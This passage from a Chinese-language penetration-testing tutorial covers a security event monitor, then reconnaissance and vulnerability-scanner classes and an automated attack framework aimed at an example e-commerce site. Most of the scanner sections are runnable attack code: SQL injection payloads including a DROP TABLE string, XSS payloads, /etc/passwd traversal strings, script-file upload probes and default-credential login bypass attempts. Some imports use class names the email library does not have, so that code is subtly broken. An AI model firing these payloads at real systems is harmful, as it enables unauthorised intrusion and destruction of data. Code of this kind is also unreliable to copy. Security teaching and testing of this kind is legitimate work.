user_role.add_permission(Permission.READ)
user_role.add_permission(Permission.WRITE)
# 创建用户
admin_user = rbac.create_user("admin", "admin@example.com")
normal_user = rbac.create_user("user1", "user1@example.com")
# 分配角色
rbac.assign_role_to_user("admin", "admin")
rbac.assign_role_to_user("user1", "user")
# 创建资源
rbac.create_resource("user_data", "database", "admin")
rbac.create_resource("public_data", "file", "user1")
# 设置资源权限
rbac.set_resource_permission("user_data", "user1", Permission.READ)
# 权限检查
print(f"admin是否有ADMIN权限: {rbac.check_permission('admin', Permission.ADMIN)}")
print(f"user1是否有ADMIN权限: {rbac.check_permission('user1', Permission.ADMIN)}")
print(f"user1是否可以读取user_data: {rbac.check_resource_permission('user_data', 'user1', Permission.READ)}")
print(f"user1是否可以删除user_data: {rbac.check_resource_permission('user_data', 'user1', Permission.DELETE)}")
# 导出配置
config = rbac.export_config()
print("RBAC配置:")
print(config)
5.3 安全监控与日志
5.3.1 安全事件监控系统
import logging
import json
import time
import threading
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
import smtplib
from email.mime.text import MimeText
from email.mime.multipart import MimeMultipart
class SecurityEventType(Enum):
"""安全事件类型"""
LOGIN_FAILURE = "login_failure"
LOGIN_SUCCESS = "login_success"
PRIVILEGE_ESCALATION = "privilege_escalation"
SUSPICIOUS_ACTIVITY = "suspicious_activity"
SQL_INJECTION_ATTEMPT = "sql_injection_attempt"
XSS_ATTEMPT = "xss_attempt"
BRUTE_FORCE_ATTACK = "brute_force_attack"
UNAUTHORIZED_ACCESS = "unauthorized_access"
DATA_BREACH = "data_breach"
SYSTEM_COMPROMISE = "system_compromise"
class SeverityLevel(Enum):
"""严重程度级别"""
LOW = "low"
MEDIUM = "medium"
HIGH = "high"
CRITICAL = "critical"
@dataclass
class SecurityEvent:
"""安全事件数据结构"""
event_id: str
event_type: SecurityEventType
severity: SeverityLevel
timestamp: datetime
source_ip: str
user_id: Optional[str]
description: str
details: Dict[str, Any]
resolved: bool = False
resolution_notes: Optional[str] = None
class SecurityEventMonitor:
def __init__(self, config: Dict[str, Any]):
self.config = config
self.events: List[SecurityEvent] = []
self.alert_rules: List[Dict] = []
self.notification_handlers = []
self.running = False
self.monitor_thread = None
# 设置日志
self.setup_logging()
# 加载告警规则
self.load_alert_rules()
def setup_logging(self):
"""设置日志记录"""
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('security_events.log'),
logging.StreamHandler()
]
)
self.logger = logging.getLogger('SecurityMonitor')
def load_alert_rules(self):
"""加载告警规则"""
default_rules = [
{
'name': '多次登录失败',
'event_type': SecurityEventType.LOGIN_FAILURE,
'threshold': 5,
'time_window': 300, # 5分钟
'severity': SeverityLevel.HIGH
},
{
'name': 'SQL注入尝试',
'event_type': SecurityEventType.SQL_INJECTION_ATTEMPT,
'threshold': 1,
'time_window': 60,
'severity': SeverityLevel.HIGH
},
{
'name': '权限提升尝试',
'event_type': SecurityEventType.PRIVILEGE_ESCALATION,
'threshold': 1,
'time_window': 60,
'severity': SeverityLevel.CRITICAL
},
{
'name': '暴力破解攻击',
'event_type': SecurityEventType.BRUTE_FORCE_ATTACK,
'threshold': 10,
'time_window': 600, # 10分钟
'severity': SeverityLevel.HIGH
}
]
self.alert_rules = default_rules
def add_event(self, event: SecurityEvent):
"""添加安全事件"""
self.events.append(event)
# 记录日志
self.logger.info(f"安全事件: {event.event_type.value} - {event.description}")
# 检查告警规则
self.check_alert_rules(event)
# 如果事件严重程度高,立即通知
if event.severity in [SeverityLevel.HIGH, SeverityLevel.CRITICAL]:
self.send_immediate_alert(event)
def check_alert_rules(self, new_event: SecurityEvent):
"""检查告警规则"""
current_time = datetime.now()
for rule in self.alert_rules:
if rule['event_type'] != new_event.event_type:
continue
# 计算时间窗口
time_window_start = current_time - timedelta(seconds=rule['time_window'])
# 统计时间窗口内的事件数量
event_count = 0
for event in self.events:
if (event.event_type == rule['event_type'] and
event.timestamp >= time_window_start and
event.source_ip == new_event.source_ip):
event_count += 1
# 检查是否超过阈值
if event_count >= rule['threshold']:
self.trigger_alert(rule, new_event, event_count)
def trigger_alert(self, rule: Dict, event: SecurityEvent, count: int):
"""触发告警"""
alert = {
'rule_name': rule['name'],
'event_type': event.event_type.value,
'severity': rule['severity'].value,
'source_ip': event.source_ip,
'event_count': count,
'time_window': rule['time_window'],
'timestamp': datetime.now(),
'description': f"检测到{rule['name']},{count}次事件来自IP {event.source_ip}"
}
self.logger.warning(f"告警触发: {alert['description']}")
# 发送通知
self.send_alert_notification(alert)
def send_immediate_alert(self, event: SecurityEvent):
"""发送立即告警"""
alert = {
'type': 'immediate_alert',
'event_type': event.event_type.value,
'severity': event.severity.value,
'source_ip': event.source_ip,
'user_id': event.user_id,
'description': event.description,
'timestamp': event.timestamp,
'details': event.details
}
self.send_alert_notification(alert)
def send_alert_notification(self, alert: Dict):
"""发送告警通知"""
for handler in self.notification_handlers:
try:
handler(alert)
except Exception as e:
self.logger.error(f"发送通知失败: {e}")
def add_notification_handler(self, handler):
"""添加通知处理器"""
self.notification_handlers.append(handler)
def get_events_by_time_range(self, start_time: datetime, end_time: datetime) -> List[SecurityEvent]:
"""获取时间范围内的事件"""
return [event for event in self.events
if start_time <= event.timestamp <= end_time]
def get_events_by_severity(self, severity: SeverityLevel) -> List[SecurityEvent]:
"""根据严重程度获取事件"""
return [event for event in self.events if event.severity == severity]
def get_events_by_ip(self, source_ip: str) -> List[SecurityEvent]:
"""根据源IP获取事件"""
return [event for event in self.events if event.source_ip == source_ip]
def resolve_event(self, event_id: str, resolution_notes: str):
"""解决事件"""
for event in self.events:
if event.event_id == event_id:
event.resolved = True
event.resolution_notes = resolution_notes
self.logger.info(f"事件 {event_id} 已解决: {resolution_notes}")
break
def generate_security_report(self, days: int = 7) -> Dict[str, Any]:
"""生成安全报告"""
end_time = datetime.now()
start_time = end_time - timedelta(days=days)
recent_events = self.get_events_by_time_range(start_time, end_time)
# 统计信息
total_events = len(recent_events)
events_by_type = {}
events_by_severity = {}
events_by_ip = {}
for event in recent_events:
# 按类型统计
event_type = event.event_type.value
events_by_type[event_type] = events_by_type.get(event_type, 0) + 1
# 按严重程度统计
severity = event.severity.value
events_by_severity[severity] = events_by_severity.get(severity, 0) + 1
# 按IP统计
source_ip = event.source_ip
events_by_ip[source_ip] = events_by_ip.get(source_ip, 0) + 1
# 获取最活跃的IP
top_ips = sorted(events_by_ip.items(), key=lambda x: x[1], reverse=True)[:10]
# 获取未解决的事件
unresolved_events = [event for event in recent_events if not event.resolved]
report = {
'report_period': {
'start_time': start_time.isoformat(),
'end_time': end_time.isoformat(),
'days': days
},
'summary': {
'total_events': total_events,
'unresolved_events': len(unresolved_events),
'events_by_type': events_by_type,
'events_by_severity': events_by_severity
},
'top_source_ips': top_ips,
'unresolved_events': [
{
'event_id': event.event_id,
'event_type': event.event_type.value,
'severity': event.severity.value,
'timestamp': event.timestamp.isoformat(),
'source_ip': event.source_ip,
'description': event.description
}
for event in unresolved_events
]
}
return report
class EmailNotificationHandler:
def __init__(self, smtp_config: Dict[str, str]):
self.smtp_config = smtp_config
def __call__(self, alert: Dict):
"""发送邮件通知"""
try:
msg = MimeMultipart()
msg['From'] = self.smtp_config['from_email']
msg['To'] = self.smtp_config['to_email']
msg['Subject'] = f"安全告警: {alert.get('rule_name', alert.get('type', 'Unknown'))}"
# 构建邮件内容
body = f"""
安全告警详情:
时间: {alert.get('timestamp', datetime.now())}
严重程度: {alert.get('severity', 'Unknown')}
事件类型: {alert.get('event_type', 'Unknown')}
源IP: {alert.get('source_ip', 'Unknown')}
描述: {alert.get('description', 'No description')}
详细信息:
{json.dumps(alert, indent=2, ensure_ascii=False, default=str)}
"""
msg.attach(MimeText(body, 'plain', 'utf-8'))
# 发送邮件
server = smtplib.SMTP(self.smtp_config['smtp_server'], self.smtp_config['smtp_port'])
server.starttls()
server.login(self.smtp_config['username'], self.smtp_config['password'])
server.send_message(msg)
server.quit()
print(f"邮件通知已发送: {alert.get('description', 'Unknown alert')}")
except Exception as e:
print(f"发送邮件失败: {e}")
# 使用示例
config = {
'log_level': 'INFO',
'alert_thresholds': {
'login_failures': 5,
'sql_injection': 1,
'brute_force': 10
}
}
# 创建安全事件监控器
monitor = SecurityEventMonitor(config)
# 添加邮件通知处理器
email_handler = EmailNotificationHandler({
'smtp_server': 'smtp.gmail.com',
'smtp_port': 587,
'username': 'your_email@gmail.com',
'password': 'your_password',
'from_email': 'your_email@gmail.com',
'to_email': 'admin@company.com'
})
monitor.add_notification_handler(email_handler)
# 模拟安全事件
import uuid
# 模拟登录失败事件
for i in range(6):
event = SecurityEvent(
event_id=str(uuid.uuid4()),
event_type=SecurityEventType.LOGIN_FAILURE,
severity=SeverityLevel.MEDIUM,
timestamp=datetime.now(),
source_ip='192.168.1.100',
user_id='testuser',
description=f'登录失败尝试 {i+1}',
details={'attempt': i+1, 'username': 'testuser'}
)
monitor.add_event(event)
# 模拟SQL注入尝试
sql_event = SecurityEvent(
event_id=str(uuid.uuid4()),
event_type=SecurityEventType.SQL_INJECTION_ATTEMPT,
severity=SeverityLevel.HIGH,
timestamp=datetime.now(),
source_ip='192.168.1.200',
user_id=None,
description='检测到SQL注入尝试',
details={'payload': "'; DROP TABLE users; --", 'endpoint': '/api/users'}
)
monitor.add_event(sql_event)
# 生成安全报告
report = monitor.generate_security_report(days=1)
print("安全报告:")
print(json.dumps(report, indent=2, ensure_ascii=False, default=str))
第六部分:实战案例与综合演练
6.1 电商网站渗透测试实战
6.1.1 目标系统分析
假设我们要对一个电商网站进行渗透测试,目标系统信息如下:
- 目标URL: https://shop.example.com
- 技术栈: PHP + MySQL + Apache
- 主要功能: 用户注册/登录、商品浏览、购物车、订单管理、支付系统
信息收集阶段:
import requests
import subprocess
import re
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
import json
class EcommerceReconnaissance:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.findings = {
'subdomains': [],
'directories': [],
'technologies': [],
'vulnerabilities': [],
'endpoints': []
}
def basic_reconnaissance(self):
"""基础信息收集"""
print("=== 开始基础信息收集 ===")
# 1. 检查网站是否可访问
try:
response = self.session.get(self.target_url, timeout=10)
print(f"网站状态码: {response.status_code}")
print(f"服务器: {response.headers.get('Server', 'Unknown')}")
print(f"技术栈: {response.headers.get('X-Powered-By', 'Unknown')}")
except Exception as e:
print(f"无法访问目标网站: {e}")
return
# 2. 收集子域名
self.find_subdomains()
# 3. 目录扫描
self.directory_scanning()
# 4. 技术栈识别
self.technology_detection()
# 5. 端点发现
self.endpoint_discovery()
def find_subdomains(self):
"""子域名发现"""
print("\n=== 子域名发现 ===")
domain = urlparse(self.target_url).netloc
base_domain = '.'.join(domain.split('.')[-2:])
# 常见子域名列表
subdomains = [
'www', 'admin', 'api', 'shop', 'store', 'app', 'mobile',
'test', 'dev', 'staging', 'blog', 'forum', 'support',
'mail', 'ftp', 'cdn', 'static', 'assets', 'images'
]
for subdomain in subdomains:
test_url = f"https://{subdomain}.{base_domain}"
try:
response = self.session.get(test_url, timeout=5)
if response.status_code in [200, 301, 302, 403]:
print(f"发现子域名: {test_url} (状态码: {response.status_code})")
self.findings['subdomains'].append({
'url': test_url,
'status_code': response.status_code
})
except:
pass
def directory_scanning(self):
"""目录扫描"""
print("\n=== 目录扫描 ===")
# 常见敏感目录
directories = [
'admin', 'administrator', 'login', 'wp-admin', 'phpmyadmin',
'backup', 'backups', 'config', 'configuration', 'test',
'dev', 'development', 'api', 'docs', 'documentation',
'uploads', 'files', 'images', 'assets', 'static',
'robots.txt', 'sitemap.xml', '.git', '.svn', '.env'
]
for directory in directories:
test_url = urljoin(self.target_url, directory)
try:
response = self.session.get(test_url, timeout=5)
if response.status_code in [200, 301, 302, 403]:
print(f"发现目录: {test_url} (状态码: {response.status_code})")
self.findings['directories'].append({
'url': test_url,
'status_code': response.status_code
})
except:
pass
def technology_detection(self):
"""技术栈检测"""
print("\n=== 技术栈检测 ===")
try:
response = self.session.get(self.target_url)
# 检查HTTP头
headers_to_check = ['Server', 'X-Powered-By', 'X-Framework', 'X-Generator']
for header in headers_to_check:
value = response.headers.get(header)
if value:
print(f"{header}: {value}")
self.findings['technologies'].append(f"{header}: {value}")
# 检查HTML内容
soup = BeautifulSoup(response.text, 'html.parser')
# 检查meta标签
meta_generator = soup.find('meta', {'name': 'generator'})
if meta_generator:
print(f"Generator: {meta_generator.get('content')}")
self.findings['technologies'].append(f"Generator: {meta_generator.get('content')}")
# 检查JavaScript框架
scripts = soup.find_all('script', src=True)
for script in scripts:
src = script.get('src', '')
if any(framework in src.lower() for framework in ['jquery', 'react', 'vue', 'angular']):
print(f"JavaScript框架: {src}")
self.findings['technologies'].append(f"JS Framework: {src}")
# 检查表单技术
forms = soup.find_all('form')
for form in forms:
action = form.get('action', '')
method = form.get('method', 'GET')
print(f"表单: {method} {action}")
self.findings['endpoints'].append({
'type': 'form',
'method': method,
'action': action
})
except Exception as e:
print(f"技术栈检测失败: {e}")
def endpoint_discovery(self):
"""端点发现"""
print("\n=== 端点发现 ===")
try:
response = self.session.get(self.target_url)
soup = BeautifulSoup(response.text, 'html.parser')
# 发现链接
links = soup.find_all('a', href=True)
for link in links:
href = link.get('href')
if href and not href.startswith('#'):
full_url = urljoin(self.target_url, href)
print(f"发现链接: {full_url}")
self.findings['endpoints'].append({
'type': 'link',
'url': full_url
})
# 发现API端点
api_patterns = [
r'/api/[a-zA-Z0-9/_-]+',
r'/v[0-9]+/[a-zA-Z0-9/_-]+',
r'/[a-zA-Z0-9_-]+\.php',
r'/[a-zA-Z0-9_-]+\.json'
]
for pattern in api_patterns:
matches = re.findall(pattern, response.text)
for match in matches:
full_url = urljoin(self.target_url, match)
print(f"发现API端点: {full_url}")
self.findings['endpoints'].append({
'type': 'api',
'url': full_url
})
except Exception as e:
print(f"端点发现失败: {e}")
def generate_report(self):
"""生成侦察报告"""
report = {
'target': self.target_url,
'findings': self.findings,
'summary': {
'subdomains_found': len(self.findings['subdomains']),
'directories_found': len(self.findings['directories']),
'technologies_identified': len(self.findings['technologies']),
'endpoints_discovered': len(self.findings['endpoints'])
}
}
print("\n=== 侦察报告 ===")
print(json.dumps(report, indent=2, ensure_ascii=False))
return report
# 使用示例
recon = EcommerceReconnaissance("https://shop.example.com")
recon.basic_reconnaissance()
report = recon.generate_report()
6.1.2 漏洞扫描与利用
import requests
import re
import json
import time
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
class EcommerceVulnerabilityScanner:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.vulnerabilities = []
def scan_sql_injection(self):
"""SQL注入漏洞扫描"""
print("=== SQL注入漏洞扫描 ===")
# 常见的SQL注入payload
sql_payloads = [
"' OR '1'='1",
"' OR 1=1--",
"'; DROP TABLE users; --",
"' UNION SELECT 1,2,3--",
"' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
]
# 常见的参数名
parameters = ['id', 'user_id', 'product_id', 'category_id', 'search', 'q']
for param in parameters:
for payload in sql_payloads:
test_url = f"{self.target_url}?{param}={payload}"
try:
response = self.session.get(test_url, timeout=10)
# 检查错误信息
error_patterns = [
r"mysql_fetch_array\(\)",
r"Warning: mysql_",
r"valid MySQL result",
r"check the manual that corresponds to your MySQL server version",
r"PostgreSQL query failed",
r"Warning: pg_",
r"Microsoft OLE DB Provider for ODBC Drivers",
r"Microsoft JET Database Engine",
r"SQLServer JDBC Driver",
r"ORA-01756",
r"Oracle error"
]
for pattern in error_patterns:
if re.search(pattern, response.text, re.IGNORECASE):
vulnerability = {
'type': 'SQL Injection',
'severity': 'High',
'url': test_url,
'parameter': param,
'payload': payload,
'evidence': f"Database error detected: {pattern}"
}
self.vulnerabilities.append(vulnerability)
print(f"发现SQL注入漏洞: {test_url}")
break
except Exception as e:
print(f"测试 {test_url} 时出错: {e}")
def scan_xss(self):
"""XSS漏洞扫描"""
print("\n=== XSS漏洞扫描 ===")
# XSS payload
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')",
"<svg onload=alert('XSS')>",
"';alert('XSS');//"
]
# 查找表单
try:
response = self.session.get(self.target_url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
for form in forms:
action = form.get('action', '')
method = form.get('method', 'GET').upper()
# 查找输入字段
inputs = form.find_all(['input', 'textarea'])
form_data = {}
for input_field in inputs:
name = input_field.get('name')
if name:
form_data[name] = xss_payloads[0] # 使用第一个payload测试
if form_data:
if method == 'GET':
test_url = urljoin(self.target_url, action)
response = self.session.get(test_url, params=form_data)
else:
test_url = urljoin(self.target_url, action)
response = self.session.post(test_url, data=form_data)
# 检查payload是否被反射
for payload in xss_payloads:
if payload in response.text:
vulnerability = {
'type': 'Cross-Site Scripting (XSS)',
'severity': 'Medium',
'url': test_url,
'method': method,
'payload': payload,
'evidence': f"Payload reflected in response"
}
self.vulnerabilities.append(vulnerability)
print(f"发现XSS漏洞: {test_url}")
break
except Exception as e:
print(f"XSS扫描失败: {e}")
def scan_file_upload(self):
"""文件上传漏洞扫描"""
print("\n=== 文件上传漏洞扫描 ===")
# 查找文件上传表单
try:
response = self.session.get(self.target_url)
soup = BeautifulSoup(response.text, 'html.parser')
# 查找文件上传输入
file_inputs = soup.find_all('input', {'type': 'file'})
for file_input in file_inputs:
form = file_input.find_parent('form')
if form:
action = form.get('action', '')
method = form.get('method', 'POST').upper()
# 测试恶意文件上传
malicious_files = [
('test.php', '<?php echo "File upload test"; ?>'),
('test.jsp', '<% out.println("File upload test"); %>'),
('test.asp', '<% Response.Write("File upload test") %>'),
('test.html', '<script>alert("XSS")</script>')
]
for filename, content in malicious_files:
files = {'file': (filename, content, 'application/octet-stream')}
test_url = urljoin(self.target_url, action)
response = self.session.post(test_url, files=files)
# 检查是否成功上传
if response.status_code == 200 and 'success' in response.text.lower():
vulnerability = {
'type': 'File Upload Vulnerability',
'severity': 'High',
'url': test_url,
'filename': filename,
'evidence': f"Malicious file {filename} uploaded successfully"
}
self.vulnerabilities.append(vulnerability)
print(f"发现文件上传漏洞: {test_url}")
except Exception as e:
print(f"文件上传扫描失败: {e}")
def scan_authentication_bypass(self):
"""认证绕过扫描"""
print("\n=== 认证绕过扫描 ===")
# 常见的认证绕过技术
bypass_techniques = [
# SQL注入绕过
"admin'--",
"admin' OR '1'='1'--",
"' OR 1=1--",
# 空密码
"",
# 默认凭据
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("root", "root"),
# 特殊字符
"admin'",
"admin\"",
"admin/*",
# 大小写绕过
"ADMIN",
"Admin"
]
# 查找登录表单
try:
response = self.session.get(self.target_url)
soup = BeautifulSoup(response.text, 'html.parser')
login_forms = []
forms = soup.find_all('form')
for form in forms:
# 查找包含用户名和密码字段的表单
username_inputs = form.find_all('input', {'name': re.compile(r'user|login|email', re.I)})
password_inputs = form.find_all('input', {'type': 'password'})
if username_inputs and password_inputs:
login_forms.append(form)
for form in login_forms:
action = form.get('action', '')
method = form.get('method', 'POST').upper()
username_field = form.find('input', {'name': re.compile(r'user|login|email', re.I)}).get('name')
password_field = form.find('input', {'type': 'password'}).get('name')
test_url = urljoin(self.target_url, action)
for technique in bypass_techniques:
if isinstance(technique, tuple):
username, password = technique
else:
username = technique
password = technique
form_data = {
username_field: username,
password_field: password
}
try:
if method == 'GET':
response = self.session.get(test_url, params=form_data)
else:
response = self.session.post(test_url, data=form_data)
# 检查是否成功登录
if ('dashboard' in response.text.lower() or
'welcome' in response.text.lower() or
'logout' in response.text.lower() or
response.status_code == 302):
vulnerability = {
'type': 'Authentication Bypass',
'severity': 'Critical',
'url': test_url,
'username': username,
'password': password,
'evidence': f"Successfully bypassed authentication with {username}:{password}"
}
self.vulnerabilities.append(vulnerability)
print(f"发现认证绕过漏洞: {test_url}")
break
except Exception as e:
print(f"测试认证绕过时出错: {e}")
except Exception as e:
print(f"认证绕过扫描失败: {e}")
def scan_directory_traversal(self):
"""目录遍历漏洞扫描"""
print("\n=== 目录遍历漏洞扫描 ===")
# 目录遍历payload
traversal_payloads = [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc%252fpasswd"
]
# 常见的文件参数
file_params = ['file', 'path', 'page', 'include', 'doc', 'document']
for param in file_params:
for payload in traversal_payloads:
test_url = f"{self.target_url}?{param}={payload}"
try:
response = self.session.get(test_url, timeout=10)
# 检查是否返回了系统文件内容
if ('root:' in response.text or
'daemon:' in response.text or
'localhost' in response.text or
'127.0.0.1' in response.text):
vulnerability = {
'type': 'Directory Traversal',
'severity': 'High',
'url': test_url,
'parameter': param,
'payload': payload,
'evidence': f"System file content exposed"
}
self.vulnerabilities.append(vulnerability)
print(f"发现目录遍历漏洞: {test_url}")
break
except Exception as e:
print(f"测试目录遍历时出错: {e}")
def generate_vulnerability_report(self):
"""生成漏洞报告"""
report = {
'target': self.target_url,
'scan_time': time.strftime('%Y-%m-%d %H:%M:%S'),
'total_vulnerabilities': len(self.vulnerabilities),
'vulnerabilities': self.vulnerabilities,
'severity_summary': {
'Critical': len([v for v in self.vulnerabilities if v['severity'] == 'Critical']),
'High': len([v for v in self.vulnerabilities if v['severity'] == 'High']),
'Medium': len([v for v in self.vulnerabilities if v['severity'] == 'Medium']),
'Low': len([v for v in self.vulnerabilities if v['severity'] == 'Low'])
}
}
print("\n=== 漏洞扫描报告 ===")
print(json.dumps(report, indent=2, ensure_ascii=False))
return report
# 使用示例
scanner = EcommerceVulnerabilityScanner("https://shop.example.com")
scanner.scan_sql_injection()
scanner.scan_xss()
scanner.scan_file_upload()
scanner.scan_authentication_bypass()
scanner.scan_directory_traversal()
vulnerability_report = scanner.generate_vulnerability_report()
6.2 综合渗透测试框架
6.2.1 自动化渗透测试平台
import asyncio
import aiohttp
import json
import time
from datetime import datetime
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
import concurrent.futures
import threading
class TestPhase(Enum):
"""测试阶段"""
RECONNAISSANCE = "reconnaissance"
VULNERABILITY_SCANNING = "vulnerability_scanning"
EXPLOITATION = "exploitation"
POST_EXPLOITATION = "post_exploitation"
REPORTING = "reporting"
class VulnerabilitySeverity(Enum):
"""漏洞严重程度"""
CRITICAL = "critical"
HIGH = "high"
MEDIUM = "medium"
LOW = "low"
INFO = "info"
@dataclass
class TestResult:
"""测试结果"""
test_name: str
phase: TestPhase
status: str # success, failed, error
findings: List[Dict[str, Any]]
execution_time: float
timestamp: datetime
details: Optional[str] = None
class PenetrationTestFramework:
def __init__(self, target_url: str, config: Dict[str, Any]):
self.target_url = target_url
self.config = config
self.results: List[TestResult] = []
self.session = None
self.start_time = None
self.end_time = None
# 测试模块
self.test_modules = {
TestPhase.RECONNAISSANCE: [
self.test_dns_enumeration,
self.test_subdomain_discovery,
self.test_port_scanning,
self.test_technology_detection
],
TestPhase.VULNERABILITY_SCANNING: [
self.test_sql_injection,
self.test_xss,
self.test_csrf,
self.test_file_upload,
self.test_directory_traversal,
self.test_authentication_bypass
],
TestPhase.EXPLOITATION: [
self.test_privilege_escalation,
self.test_data_extraction,
self.test_system_access
],
TestPhase.POST_EXPLOITATION: [
self.test_persistence,
self.test_lateral_movement,
self.test_data_exfiltration
]
}
async def initialize(self):
"""初始化测试环境"""
connector = aiohttp.TCPConnector(limit=100, limit_per_host=30)
timeout = aiohttp.ClientTimeout(total=30)
self.session = aiohttp.ClientSession(
connector=connector,
timeout=timeout,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'}
)
self.start_time = datetime.now()
print(f"开始对 {self.target_url} 进行渗透测试")
async def cleanup(self):
"""清理资源"""
if self.session:
await self.session.close()
self.end_time = datetime.now()
print(f"渗透测试完成,总耗时: {self.end_time - self.start_time}")
async def run_full_test(self):
"""运行完整测试"""
await self.initialize()
try:
# 按阶段执行测试
for phase, tests in self.test_modules.items():
print(f"\n=== 开始 {phase.value} 阶段 ===")
await self.run_phase_tests(phase, tests)
# 生成报告
await self.generate_final_report()
finally:
await self.cleanup()
async def run_phase_tests(self, phase: TestPhase, tests: List):
"""运行阶段测试"""
# 并发执行测试
tasks = []
for test in tests:
task = asyncio.create_task(self.execute_test(test, phase))
tasks.append(task)
# 等待所有测试完成
results = await asyncio.gather(*tasks, return_exceptions=True)
# 处理结果
for result in results:
if isinstance(result, Exception):
print(f"测试执行出错: {result}")
else:
self.results.append(result)
async def execute_test(self, test_func, phase: TestPhase) -> TestResult:
"""执行单个测试"""
test_name = test_func.__name__
start_time = time.time()
try:
print(f"执行测试: {test_name}")
findings = await test_func()
execution_time = time.time() - start_time
return TestResult(
test_name=test_name,
phase=phase,
status="success",
findings=findings,
execution_time=execution_time,
timestamp=datetime.now()
)
except Exception as e:
execution_time = time.time() - start_time
return TestResult(
test_name=test_name,
phase=phase,
status="error",
findings=[],
execution_time=execution_time,
timestamp=datetime.now(),
details=str(e)
)
# 侦察阶段测试
async def test_dns_enumeration(self) -> List[Dict[str, Any]]:
"""DNS枚举测试"""
findings = []
try:
# 简单的DNS查询测试
domain = self.target_url.replace('https://', '').replace('http://', '').split('/')[0]
# 这里可以集成实际的DNS查询工具
# 例如使用dnspython库进行DNS查询
findings.append({
'type': 'DNS Information',
'severity': VulnerabilitySeverity.INFO.value,
'description': f'DNS enumeration for {domain}',
'details': {'domain': domain}
})
except Exception as e:
print(f"DNS枚举测试失败: {e}")
return findings
async def test_subdomain_discovery(self) -> List[Dict[str, Any]]:
"""子域名发现测试"""
findings = []
try:
domain = self.target_url.replace('https://', '').replace('http://', '').split('/')[0]
base_domain = '.'.join(domain.split('.')[-2:])
# 常见子域名列表
subdomains = ['www', 'admin', 'api', 'mail', 'ftp', 'test', 'dev', 'staging']
for subdomain in subdomains:
test_url = f"https://{subdomain}.{base_domain}"
try:
async with self.session.get(test_url) as response:
if response.status in [200, 301, 302, 403]:
findings.append({
'type': 'Subdomain Discovery',
'severity': VulnerabilitySeverity.INFO.value,
'description': f'Found subdomain: {test_url}',
'details': {
'url': test_url,
'status_code': response.status
}
})
except:
pass
except Exception as e:
print(f"子域名发现测试失败: {e}")
return findings
async def test_port_scanning(self) -> List[Dict[str, Any]]:
"""端口扫描测试"""
findings = []
try:
# 这里可以集成nmap或其他端口扫描工具
# 由于aiohttp主要用于HTTP请求,这里只是示例
findings.append({
'type': 'Port Scanning',
'severity': VulnerabilitySeverity.INFO.value,
'description': 'Port scanning completed',
'details': {'note': 'Integration with nmap required for actual port scanning'}
})
except Exception as e:
print(f"端口扫描测试失败: {e}")
return findings
async def test_technology_detection(self) -> List[Dict[str, Any]]:
"""技术栈检测测试"""
findings = []
try:
async with self.session.get(self.target_url) as response:
# 检查HTTP头
headers_to_check = ['Server', 'X-Powered-By', 'X-Framework']
for header in headers_to_check:
value = response.headers.get(header)
if value:
findings.append({
'type': 'Technology Detection',
'severity': VulnerabilitySeverity.INFO.value,
'description': f'Detected technology: {header}',
'details': {header: value}
})
except Exception as e:
print(f"技术栈检测测试失败: {e}")
return findings
# 漏洞扫描阶段测试
async def test_sql_injection(self) -> List[Dict[str, Any]]:
"""SQL注入测试"""
findings = []
try:
# 简单的SQL注入测试
sql_payloads = ["' OR '1'='1", "' OR 1=1--", "'; DROP TABLE users; --"]
parameters = ['id', 'user_id', 'product_id']
for param in parameters:
for payload in sql_payloads:
test_url = f"{self.target_url}?{param}={payload}"
try:
async with self.session.get(test_url) as response:
text = await response.text()
# 检查数据库错误
error_patterns = [
"mysql_fetch_array",
"Warning: mysql_",
"PostgreSQL query failed",
"Microsoft OLE DB Provider"
]
for pattern in error_patterns:
if pattern.lower() in text.lower():
findings.append({
'type': 'SQL Injection',
'severity': VulnerabilitySeverity.HIGH.value,
'description': f'SQL injection vulnerability detected',
'details': {
'url': test_url,
'parameter': param,
'payload': payload,
'evidence': pattern
}
})
break
except:
pass
except Exception as e:
print(f"SQL注入测试失败: {e}")
return findings
async def test_xss(self) -> List[Dict[str, Any]]:
"""XSS测试"""
findings = []
try:
# 简单的XSS测试
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')"
]
# 测试URL参数
for payload in xss_payloads:
test_url = f"{self.target_url}?search={payload}"
try:
async with self.session.get(test_url) as response:
text = await response.text()
if payload in text:
findings.append({
'type': 'Cross-Site Scripting (XSS)',
'severity': VulnerabilitySeverity.MEDIUM.value,
'description': f'XSS vulnerability detected',
'details': {
'url': test_url,
'payload': payload,
'evidence': 'Payload reflected in response'
}
})
except:
pass
except Exception as e:
print(f"XSS测试失败: {e}")
return findings
async def test_csrf(self) -> List[Dict[str, Any]]:
"""CSRF测试"""
findings = []
try:
# 检查CSRF保护
async with self.session.get(self.target_url) as response:
text = await response.text()
# 检查是否有CSRF token
if 'csrf' not in text.lower() and 'token' not in text.lower():
findings.append({
'type': 'Cross-Site Request Forgery (CSRF)',
'severity': VulnerabilitySeverity.MEDIUM.value,
'description': 'Potential CSRF vulnerability - no CSRF protection detected',
'details': {
'url': self.target_url,
'evidence': 'No CSRF token found in forms'
}
})
except Exception as e:
print(f"CSRF测试失败: {e}")
return findings
